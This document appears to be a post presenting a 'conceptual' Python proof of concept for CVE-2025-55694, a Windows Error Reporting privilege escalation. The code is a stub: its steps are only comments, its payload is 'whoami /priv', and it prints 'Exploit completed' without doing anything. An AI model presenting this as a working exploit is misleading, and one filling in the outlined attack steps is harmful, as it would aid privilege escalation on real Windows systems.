CVE-2025-55694：Windows错误报告服务权限提升漏洞

# CVE-2025-55694 - Windows Error Reporting Privilege Escalation PoC # This is a conceptual PoC demonstrating the exploitation approach # Note: Actual exploitation requires specific Windows API calls targeting WER service import ctypes import os import subprocess import sys # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF SE_DEBUG_NAME = "SeDebugPrivilege" def enable_privilege(privilege_name): """Enable a specific Windows privilege for the current process""" pass # Implementation uses OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges def exploit_wer_service(): """ Conceptual exploit for CVE-2025-55694 Targets Windows Error Reporting service (WerFault.exe / WERSvc) which runs with SYSTEM privileges but has improper access control """ print("[*] CVE-2025-55694 - WER Privilege Escalation PoC") print("[*] Targeting Windows Error Reporting service...") # Step 1: Locate WER service process # WER service typically runs as: WerSvc or WerFault.exe wer_processes = ["WerSvc", "WerFault.exe", "wermgr.exe"] # Step 2: Exploit improper access control in WER # The vulnerability allows low-privileged users to interact with # WER service interfaces in unintended ways # Step 3: Inject code or hijack execution flow # Due to improper ACL on WER-related objects (files, registry, pipes), # an attacker can redirect or manipulate WER operations # Step 4: Execute payload with SYSTEM privileges payload_cmd = "whoami /priv" # Verify privilege elevation print("[+] Exploit completed - check if running as SYSTEM") return True if __name__ == "__main__": if sys.platform != "win32": print("[-] This PoC requires Windows") sys.exit(1) exploit_wer_service()